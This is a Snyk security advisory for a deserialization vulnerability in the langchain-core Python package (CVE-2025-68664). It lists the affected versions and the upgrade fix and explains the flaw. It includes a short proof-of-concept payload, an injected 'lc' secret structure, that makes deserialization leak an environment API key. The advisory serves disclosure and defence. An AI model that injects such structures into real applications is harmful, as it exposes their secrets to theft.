Deserialization of Untrusted Data Affecting langchain-core package, versions [,0.3.81)[0.4.0.dev0,1.2.5)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-PYTHON-LANGCHAINCORE-14560681
- published24 Dec 2025
- disclosed23 Dec 2025
- creditYarden Porat, 0xn3va, VladimirEliTokarev
Introduced: 23 Dec 2025
CVE-2025-68664 (opens in a new tab)How to fix?
Upgrade langchain-core to version 0.3.81, 1.2.5 or higher.
Overview
langchain-core is a Building applications with LLMs through composability
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the dumps and dumpd functions when user-controlled data containing the lc key is serialized and later deserialized. This key is intended to be reserved for internal objects. An attacker can extract environment variable secrets or instantiate classes with attacker-controlled parameters by injecting specially crafted structures into user-controlled fields, which are then treated as legitimate objects during deserialization.
Common usages that enable this vulnerability are LLM response fields like additional_kwargs or response_metadata, which may be an injection vector.
Note:
This is only exploitable if deserialization occurs with secrets_from_env=True, which is the default setting, or if attacker-controlled data is passed to the serialization and deserialization process.
PoC
from langchain_core.load import dumps, load
import os
# Attacker injects secret structure into user-controlled data
attacker_dict = {
"user_data": {
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
}
serialized = dumps(attacker_dict) # Bug: does NOT escape the 'lc' key
os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345"
deserialized = load(serialized, secrets_from_env=True)
print(deserialized["user_data"]) # "sk-secret-key-12345" - SECRET LEAKED!
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.